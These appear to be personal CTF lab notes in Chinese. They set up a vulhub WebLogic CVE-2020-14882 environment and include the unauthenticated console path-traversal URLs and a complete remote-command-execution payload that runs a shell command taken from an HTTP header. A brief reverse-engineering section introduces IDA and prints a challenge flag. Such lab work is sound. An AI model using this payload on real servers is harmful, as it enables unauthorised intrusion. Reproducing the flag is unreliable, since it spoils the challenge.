CVE-2020-14882
一道ctf
服务器搭建环境weblogic CVE-2020-14882
登上后 安装docker compose 把vulhub文件导进去
切换到漏洞所在位置
cd /root/vulhub/vulhub/weblogic/CVE-2020-14882/
开启compose
docker-compose build
docker-compose up -d
对服务器来说 通过外网访问 不是ifconfig那个得到的ip
http://ip:7001/console/login/LoginForm.jsp
未授权访问漏洞http://ip:7001/console/css/%252e%252e%252fconsole.portal
不用登录就可以直接访问,
未授权访问路径:http://ip:7001/ws_utc/config.d
``
/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(“getServletRequest”).invoke(obj); String cmd = req.getHeader(“cmd”);String[] cmds = System.getProperty(“os.name”).toLowerCase().contains(“window”) ? new String[]{“cmd.exe”, “/c”, cmd} : new String[]{"/bin/sh", “-c”, cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();’) HTTP/1.1
whoami
成功
ctf re
题目来源:https://ctf.bugku.com/challenges/detail/id/115.html
IDA View-A是反汇编窗口,
HexView-A是十六进制格式显示的窗口,
Imports是导入表(程序中调用到的外面的函数),
Functions是函数表(这个程序中的函数),
Structures是结构,
Enums是枚举。
F5查看伪代码。如果按了F5没有反应的话,可能是IDA的问题,用x64的不行,换成x86。
DUTCTF{We1c0met0DUTCTF}